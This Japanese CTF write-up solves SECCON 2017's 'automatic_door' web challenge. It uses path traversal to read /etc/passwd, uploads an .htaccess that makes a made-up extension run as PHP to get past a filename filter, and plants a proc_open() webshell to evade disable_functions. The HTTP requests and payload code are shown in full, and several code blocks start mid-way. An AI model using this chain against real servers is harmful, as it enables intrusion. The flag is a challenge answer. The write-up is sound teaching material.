# ▼▼▼automatic_door(Web:500)、73/1028team＝7.1％▼▼▼**This writeup is written by [@kazkiti_ctf](https://twitter.com/kazkiti_ctf)**
---
```automatic_door
Get shell, and execute /flag_x```
---
`http://automatic_door.pwn.seccon.jp/0b503d0caf712352fc200bc5332c4f95/`
↓
```getSize();        }    }    return $bytestotal;}
if (isset($_GET['action'])) {    if ($_GET['action'] == 'pwd') {        echo $d;
        exit;    }    else if ($_GET['action'] == 'phpinfo') {        phpinfo();
        exit;    }    else if ($_GET['action'] == 'read') {        $f = $_GET['filename'];        if (read_ok($f))            echo file_get_contents($d . $f);        else            echo $fail;
        exit;    } else if ($_GET['action'] == 'write') {        $f = $_GET['filename'];        if (write_ok($f) && strstr($f, 'ph') === FALSE && $_FILES['file']['size'] < 10000) {            print_r($_FILES['file']);            print_r(move_uploaded_file($_FILES['file']['tmp_name'], $d . $f));        }        else            echo $fail;
        if (GetDirectorySize($d) > 10000) {            rmdir($d);        }
        exit;    } else if ($_GET['action'] == 'delete') {        $f = $_GET['filename'];        if (write_ok($f))            print_r(unlink($d . $f));        else            echo $fail;
        exit;    }}
highlight_file(__FILE__);```
↓
`$_GET['action']`では、`pwd`、`phpinfo`、`read`、`write`、`delete`が使えることがわかる。
---順に使ってみる
### 【1:pwd】
`http://automatic_door.pwn.seccon.jp/0b503d0caf712352fc200bc5332c4f95/?action=pwd`
↓
`sandbox/FAIL_ba149181bd7fe48ec761f061c3e60f07de257ec5/`
↓
現在のフォルダが得られる
---
### 【2:phpinfo】
`http://automatic_door.pwn.seccon.jp/0b503d0caf712352fc200bc5332c4f95/?action=phpinfo`
↓
phpinfo()の内容が表示される。とりあえず、下記の気になる箇所だけ確認した。```allow_url_fopen=onallow_url_include=off```↓
URLを挿入してもアクセスしにこない設定になっている。
---
### 【3:read】
ファイルを読み込めるのだが、現在読み込めるファイルがないので、パストラバーサルで`/etc/passwd`を読み込んでみる
↓
`http://automatic_door.pwn.seccon.jp/0b503d0caf712352fc200bc5332c4f95/?action=read&filename=../../../../../../../../etc/passwd`
↓
```root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologinproxy:x:13:13:proxy:/bin:/usr/sbin/nologinwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologinbackup:x:34:34:backup:/var/backups:/usr/sbin/nologinlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologinirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologingnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologinsystemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/falsesystemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/falsesystemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/falsesystemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/falsesyslog:x:104:108::/home/syslog:/bin/false_apt:x:105:65534::/nonexistent:/bin/falsemessagebus:x:106:110::/var/run/dbus:/bin/falseuuidd:x:107:111::/run/uuidd:/bin/falsentp:x:108:114::/home/ntp:/bin/falsesshd:x:109:65534::/var/run/sshd:/usr/sbin/nologinubuntu:x:1000:1000:Ubuntu User,,,:/home/ubuntu:/bin/bashnomuken:x:1001:100::/home/nomuken:/bin/bashseccon:x:1002:100::/home/seccon:/bin/bashprometheus:x:110:117:Prometheus daemon,,,:/var/lib/prometheus:/bin/false```
↓
パストラバーサルの脆弱性が存在し、ファイルが読み込めることがわかる★
---
### 【4:write】
```  } else if ($_GET['action'] == 'write') {        $f = $_GET['filename'];        if (write_ok($f) && strstr($f, 'ph') === FALSE && $_FILES['file']['size'] < 10000) {            print_r($_FILES['file']);            print_r(move_uploaded_file($_FILES['file']['tmp_name'], $d . $f));        }```
↓
`$_FILES['file']`とは、`POST`で`multipart/form-data`形式でアップロードされたファイルを取得するもの。
↓
`GET`で`action=write`を送信しつつ、`POST`で`file`パラメータを送信する必要がある。
---
ファイル名`test`で、内容`testtest`のものをアップロードしてみる
```POST /0b503d0caf712352fc200bc5332c4f95/?action=write&filename=test HTTP/1.1Host: automatic_door.pwn.seccon.jpContent-Type: multipart/form-data;boundary="boundary"Content-Length: 166
--boundaryContent-Disposition: form-data; name="action"
write--boundaryContent-Disposition: form-data; name="file"; filename="test"
testtest--boundary--```
↓
`test`ファイルを読み込む
`GET /0b503d0caf712352fc200bc5332c4f95/?action=read&filename=test`
↓
`testtest`が取得できた
↓
書き込み＆閲覧することができた。
---
しかし、writeでは下記の制約がある
`if (write_ok($f) && strstr($f, 'ph') === FALSE && $_FILES['file']['size'] < 10000) {`
↓
`ph`がチェックされるのでphpファイルはアップロードできないようになっている。
---
次に設定変更できるファイルである`.httaccess`の現在の設定を確認するために、apache2の設定ファイル`/etc/apache2/apache2.conf`を取得してみる
↓
`GET /0b503d0caf712352fc200bc5332c4f95/?action=read&filename=../../../../../../../etc/apache2/apache2.conf`
↓
```# AccessFileName: The name of the file to look for in each directory# for additional configuration directives.  See also the AllowOverride# directive.#AccessFileName .htaccess```
↓
`AccessFileName .htaccess`と`.htaccess`を読み込む設定になっており、`allowoverride None`が記載されていない。
↓
`.htaccess`をアップロードすれば、設定を変更することが可能。
---
下記のように、「拡張子`.tttt`の場合に、phpファイルとして実行する」ように記載した`.htaccess`ファイルをアップロードする。
↓
```POST /0b503d0caf712352fc200bc5332c4f95/?action=write&filename=.htaccess HTTP/1.1Host: automatic_door.pwn.seccon.jpContent-Type: multipart/form-data;boundary="boundary"Content-Length: 204
--boundaryContent-Disposition: form-data; name="action"
write--boundaryContent-Disposition: form-data; name="file"; filename="test.php"
AddType application/x-httpd-php .php .tttt--boundary--```
↓
```GET /0b503d0caf712352fc200bc5332c4f95/?action=read&filename=.htaccess HTTP/1.1↓HTTP/1.1 200 OKDate: Sun, 10 Dec 2017 03:24:56 GMTServer: Apache/2.4.18 (Ubuntu)Content-Length: 42Connection: closeContent-Type: text/html; charset=UTF-8
AddType application/x-httpd-php .php .tttt```
↓
アップロードできていることが確認できた。
---
次に`p.tttt`というファイル名で、とりあえず`/bin/ls`を実行するPHPコードをアップロードしてみる。
↓
```POST /0b503d0caf712352fc200bc5332c4f95/?action=write&filename=p.tttt HTTP/1.1Host: automatic_door.pwn.seccon.jpContent-Type: multipart/form-data;boundary="boundary"Content-Length: 1200
--boundaryContent-Disposition: form-data; name="action"
write--boundaryContent-Disposition: form-data; name="file"; filename="test.php"
--boundary--```
↓
次に、アップロードした`p.tttt`ファイルにアクセスしてみる
`GET /0b503d0caf712352fc200bc5332c4f95/sandbox/FAIL_ba149181bd7fe48ec761f061c3e60f07de257ec5/p.tttt`
↓
PHPが実行され、`ok`は表示されるものの`system()`が実行されないことがわかった。
---
よって、禁止されている関数を確認するために、`phpinfo()`を確認してみる。
↓
```disable_functions
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,exec,passthru,popen,shell_exec,system```
↓
これを元に、コマンド実行が可能な関数を絞っていく。
↓
```×exec()×passthru()×shell_exec()×system()×pcntl_exec()×pcntl_fork()○proc_open()×popen()```
↓
`proc_open()`が使えそうだ
---
`p.tttt`というファイル名で、`/flag_x`を実行するPHPコードをアップロードする
↓
```POST /0b503d0caf712352fc200bc5332c4f95/?action=write&filename=p.tttt HTTP/1.1Host: automatic_door.pwn.seccon.jpContent-Type: multipart/form-data;boundary="boundary"Content-Length: 1200
--boundaryContent-Disposition: form-data; name="action"
write--boundaryContent-Disposition: form-data; name="file"; filename="test.php"
 array("pipe", "r"),        1 => array("pipe", "w"),        2 => array("pipe", "w")        );
    $process = proc_open($cmd, $descriptorspec, $pipes);    $result_message = "";    $error_message = "";    $return = null;    if (is_resource($process))    {        fputs($pipes[0], $stdin);        fclose($pipes[0]);         while ($error = fgets($pipes[2])){            $error_message .= $error;        }        while ($result = fgets($pipes[1])){            $result_message .= $result;        }        foreach ($pipes as $k=>$_rs){            if (is_resource($_rs)){                fclose($_rs);            }        }        $return = proc_close($process);    }    return array(        'return' => $return,        'stdout' => $result_message,        'stderr' => $error_message,        );}
$cmd = "/flag_x";$ret = system_ex($cmd, $input);var_dump($ret); ?>--boundary--```
---
アップロードした`p.tttt`ファイルにアクセスする
`GET /0b503d0caf712352fc200bc5332c4f95/sandbox/FAIL_ba149181bd7fe48ec761f061c3e60f07de257ec5/p.tttt`
↓
```HTTP/1.1 200 OKDate: Sun, 10 Dec 2017 03:51:22 GMTServer: Apache/2.4.18 (Ubuntu)Vary: Accept-EncodingContent-Length: 141Connection: closeContent-Type: text/html; charset=UTF-8
okarray(3) {  ["return"]=>  int(0)  ["stdout"]=>  string(41) "SECCON{f6c085facd0897b47f5f1d7687030ae7}"  ["stderr"]=>  string(0) ""}```
↓
`SECCON{f6c085facd0897b47f5f1d7687030ae7}`